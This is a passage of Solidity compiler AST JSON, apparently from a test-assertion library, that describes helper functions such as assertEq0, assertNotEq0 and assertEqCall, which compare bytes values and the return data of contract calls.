memory"}],"id":2488,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":667,"src":"21164:8:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure"}},"id":2492,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21164:26:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2493,"nodeType":"ExpressionStatement","src":"21164:26:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq0","nameLocation":"21064:9:1","parameters":{"id":2486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2481,"mutability":"mutable","name":"left","nameLocation":"21087:4:1","nodeType":"VariableDeclaration","scope":2495,"src":"21074:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2480,"name":"bytes","nodeType":"ElementaryTypeName","src":"21074:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2483,"mutability":"mutable","name":"right","nameLocation":"21106:5:1","nodeType":"VariableDeclaration","scope":2495,"src":"21093:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2482,"name":"bytes","nodeType":"ElementaryTypeName","src":"21093:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2485,"mutability":"mutable","name":"err","nameLocation":"21127:3:1","nodeType":"VariableDeclaration","scope":2495,"src":"21113:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2484,"name":"string","nodeType":"ElementaryTypeName","src":"21113:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21073:58:1"},"returnParameters":{"id":2487,"nodeType":"ParameterList","parameters":[],"src":"21154:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2508,"nodeType":"FunctionDefinition","src":"21203:124:1","nodes":[],"body":{"id":2507,"nodeType":"Block","src":"21286:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2503,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2497,"src":"21308:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2504,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2499,"src":"21314:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2502,"name":"assertNotEq","nodeType":"Identifier","overloadedDeclarations":[954,972,987,1005,1059,1077,1131,1149,1164,1182,1226,1244,1259,1277,1294,1314,1331,1351,1368,1388,1405,1425,1442,1462,1479,1499,1516,1536],"referencedDeclaration":1259,"src":"21296:11:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory) pure"}},"id":2505,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21296:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2506,"nodeType":"ExpressionStatement","src":"21296:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq0","nameLocation":"21212:12:1","parameters":{"id":2500,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2497,"mutability":"mutable","name":"left","nameLocation":"21238:4:1","nodeType":"VariableDeclaration","scope":2508,"src":"21225:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2496,"name":"bytes","nodeType":"ElementaryTypeName","src":"21225:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2499,"mutability":"mutable","name":"right","nameLocation":"21257:5:1","nodeType":"VariableDeclaration","scope":2508,"src":"21244:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2498,"name":"bytes","nodeType":"ElementaryTypeName","src":"21244:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21224:39:1"},"returnParameters":{"id":2501,"nodeType":"ParameterList","parameters":[],"src":"21286:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2524,"nodeType":"FunctionDefinition","src":"21333:148:1","nodes":[],"body":{"id":2523,"nodeType":"Block","src":"21435:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2518,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2510,"src":"21457:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2519,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2512,"src":"21463:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2520,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2514,"src":"21470:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2517,"name":"assertNotEq","nodeType":"Identifier","overloadedDeclarations":[954,972,987,1005,1059,1077,1131,1149,1164,1182,1226,1244,1259,1277,1294,1314,1331,1351,1368,1388,1405,1425,1442,1462,1479,1499,1516,1536],"referencedDeclaration":1277,"src":"21445:11:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure"}},"id":2521,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21445:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2522,"nodeType":"ExpressionStatement","src":"21445:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq0","nameLocation":"21342:12:1","parameters":{"id":2515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2510,"mutability":"mutable","name":"left","nameLocation":"21368:4:1","nodeType":"VariableDeclaration","scope":2524,"src":"21355:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2509,"name":"bytes","nodeType":"ElementaryTypeName","src":"21355:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2512,"mutability":"mutable","name":"right","nameLocation":"21387:5:1","nodeType":"VariableDeclaration","scope":2524,"src":"21374:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2511,"name":"bytes","nodeType":"ElementaryTypeName","src":"21374:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2514,"mutability":"mutable","name":"err","nameLocation":"21408:3:1","nodeType":"VariableDeclaration","scope":2524,"src":"21394:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2513,"name":"string","nodeType":"ElementaryTypeName","src":"21394:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21354:58:1"},"returnParameters":{"id":2516,"nodeType":"ParameterList","parameters":[],"src":"21435:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2542,"nodeType":"FunctionDefinition","src":"21487:176:1","nodes":[],"body":{"id":2541,"nodeType":"Block","src":"21590:73:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2534,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2526,"src":"21613:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2535,"name":"callDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2528,"src":"21621:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2536,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2526,"src":"21632:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2537,"name":"callDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2530,"src":"21640:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"74727565","id":2538,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"21651:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":2533,"name":"assertEqCall","nodeType":"Identifier","overloadedDeclarations":[2542,2562,2582,2694],"referencedDeclaration":2694,"src":"21600:12:1","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,address,bytes memory,bool)"}},"id":2539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21600:56:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2540,"nodeType":"ExpressionStatement","src":"21600:56:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqCall","nameLocation":"21496:12:1","parameters":{"id":2531,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2526,"mutability":"mutable","name":"target","nameLocation":"21517:6:1","nodeType":"VariableDeclaration","scope":2542,"src":"21509:14:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2525,"name":"address","nodeType":"ElementaryTypeName","src":"21509:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2528,"mutability":"mutable","name":"callDataA","nameLocation":"21538:9:1","nodeType":"VariableDeclaration","scope":2542,"src":"21525:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2527,"name":"bytes","nodeType":"ElementaryTypeName","src":"21525:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2530,"mutability":"mutable","name":"callDataB","nameLocation":"21562:9:1","nodeType":"VariableDeclaration","scope":2542,"src":"21549:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2529,"name":"bytes","nodeType":"ElementaryTypeName","src":"21549:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21508:64:1"},"returnParameters":{"id":2532,"nodeType":"ParameterList","parameters":[],"src":"21590:0:1"},"scope":2695,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2562,"nodeType":"FunctionDefinition","src":"21669:216:1","nodes":[],"body":{"id":2561,"nodeType":"Block","src":"21810:75:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2554,"name":"targetA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2544,"src":"21833:7:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2555,"name":"callDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2546,"src":"21842:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2556,"name":"targetB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2548,"src":"21853:7:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2557,"name":"callDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2550,"src":"21862:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"74727565","id":2558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"21873:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":2553,"name":"assertEqCall","nodeType":"Identifier","overloadedDeclarations":[2542,2562,2582,2694],"referencedDeclaration":2694,"src":"21820:12:1","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,address,bytes memory,bool)"}},"id":2559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21820:58:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2560,"nodeType":"ExpressionStatement","src":"21820:58:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqCall","nameLocation":"21678:12:1","parameters":{"id":2551,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2544,"mutability":"mutable","name":"targetA","nameLocation":"21699:7:1","nodeType":"VariableDeclaration","scope":2562,"src":"21691:15:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2543,"name":"address","nodeType":"ElementaryTypeName","src":"21691:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2546,"mutability":"mutable","name":"callDataA","nameLocation":"21721:9:1","nodeType":"VariableDeclaration","scope":2562,"src":"21708:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2545,"name":"bytes","nodeType":"ElementaryTypeName","src":"21708:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2548,"mutability":"mutable","name":"targetB","nameLocation":"21740:7:1","nodeType":"VariableDeclaration","scope":2562,"src":"21732:15:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2547,"name":"address","nodeType":"ElementaryTypeName","src":"21732:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2550,"mutability":"mutable","name":"callDataB","nameLocation":"21762:9:1","nodeType":"VariableDeclaration","scope":2562,"src":"21749:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2549,"name":"bytes","nodeType":"ElementaryTypeName","src":"21749:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21690:82:1"},"returnParameters":{"id":2552,"nodeType":"ParameterList","parameters":[],"src":"21810:0:1"},"scope":2695,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2582,"nodeType":"FunctionDefinition","src":"21891:231:1","nodes":[],"body":{"id":2581,"nodeType":"Block","src":"22037:85:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2574,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2564,"src":"22060:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2575,"name":"callDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2566,"src":"22068:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2576,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2564,"src":"22079:6:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":2577,"name":"callDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2568,"src":"22087:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2578,"name":"strictRevertData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2570,"src":"22098:16:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":2573,"name":"assertEqCall","nodeType":"Identifier","overloadedDeclarations":[2542,2562,2582,2694],"referencedDeclaration":2694,"src":"22047:12:1","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,address,bytes memory,bool)"}},"id":2579,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22047:68:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2580,"nodeType":"ExpressionStatement","src":"22047:68:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqCall","nameLocation":"21900:12:1","parameters":{"id":2571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2564,"mutability":"mutable","name":"target","nameLocation":"21921:6:1","nodeType":"VariableDeclaration","scope":2582,"src":"21913:14:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":2563,"name":"address","nodeType":"ElementaryTypeName","src":"21913:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":2566,"mutability":"mutable","name":"callDataA","nameLocation":"21942:9:1","nodeType":"VariableDeclaration","scope":2582,"src":"21929:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2565,"name":"bytes","nodeType":"ElementaryTypeName","src":"21929:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2568,"mutability":"mutable","name":"callDataB","nameLocation":"21966:9:1","nodeType":"VariableDeclaration","scope":2582,"src":"21953:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2567,"name":"bytes","nodeType":"ElementaryTypeName","src":"21953:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":2570,"mutability":"mutable","name":"strictRevertData","nameLocation":"21982:16:1","nodeType":"VariableDeclaration","scope":2582,"src":"21977:21:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2569,"name":"bool","nodeType":"ElementaryTypeName","src":"21977:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21912:87:1"},"returnParameters":{"id":2572,"nodeType":"ParameterList","parameters":[],"src":"22037:0:1"},"scope":2695,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2694,"nodeType":"FunctionDefinition","src":"22128:1229:1","nodes":[],"body":{"id":2693,"nodeType":"Block","src":"22318:1039:1","nodes":[],"statements":[{"assignments":[2596,2598],"declarations":[{"constant":false,"id":2596,"mutability":"mutable","name":"successA","nameLocation":"22334:8:1","nodeType":"VariableDeclaration","scope":2693,"src":"22329:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2595,"name":"bool","nodeType":"ElementaryTypeName","src":"22329:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":2598,"mutability":"mutable","name":"returnDataA","nameLocation":"22357:11:1","nodeType":"VariableDeclaration","scope":2693,"src":"22344:24:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2597,"name":"bytes","nodeType":"ElementaryTypeName","src":"22344:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":2606,"initialValue":{"arguments":[{"id":2604,"name":"callDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2586,"src":"22394:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":2601,"name":"targetA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2584,"src":"22380:7:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":2600,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"22372:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":2599,"name":"address","nodeType":"ElementaryTypeName","src":"22372:7:1","typeDescriptions":{}}},"id":2602,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22372:16:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":2603,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22389:4:1","memberName":"call","nodeType":"MemberAccess","src":"22372:21:1","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":2605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22372:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"22328:76:1"},{"assignments":[2608,2610],"declarations":[{"constant":false,"id":2608,"mutability":"mutable","name":"successB","nameLocation":"22420:8:1","nodeType":"VariableDeclaration","scope":2693,"src":"22415:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":2607,"name":"bool","nodeType":"ElementaryTypeName","src":"22415:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":2610,"mutability":"mutable","name":"returnDataB","nameLocation":"22443:11:1","nodeType":"VariableDeclaration","scope":2693,"src":"22430:24:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":2609,"name":"bytes","nodeType":"ElementaryTypeName","src":"22430:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":2618,"initialValue":{"arguments":[{"id":2616,"name":"callDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2590,"src":"22480:9:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":2613,"name":"targetB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2588,"src":"22466:7:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":2612,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"22458:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":2611,"name":"address","nodeType":"ElementaryTypeName","src":"22458:7:1","typeDescriptions":{}}},"id":2614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22458:16:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":2615,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"22475:4:1","memberName":"call","nodeType":"MemberAccess","src":"22458:21:1","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":2617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"22458:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"22414:76:1"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":2619,"name":"successA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2596,"src":"22505:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":2620,"name":"successB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2608,"src":"22517:8:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"22505:20:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":2629,"nodeType":"IfStatement","src":"22501:120:1","trueBody":{"id":2628,"nodeType":"Block","src":"22527:94:1","statements":[{"expression":{"arguments":[{"id":2623,"name":"returnDataA","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2598,"src":"22550:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":2624,"name":"returnDataB","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2610,"src":"22563:11:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"43616c6c2072657475726e206461746120646f6573206e6f74206d61746368","id":2625,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"22576:33:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_f3c9e4317c8eebc5635871f467354820a216f046f0a61b2ded371c2d507a555f","typeString":"literal_string \"Call return data does not match\""},"value":"Call return data does not match"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_f3c9e4317c8eebc5635871f467354820a216f046f0a61b2ded371c2d507a555f","typeString":"literal_string \"Call return data does not 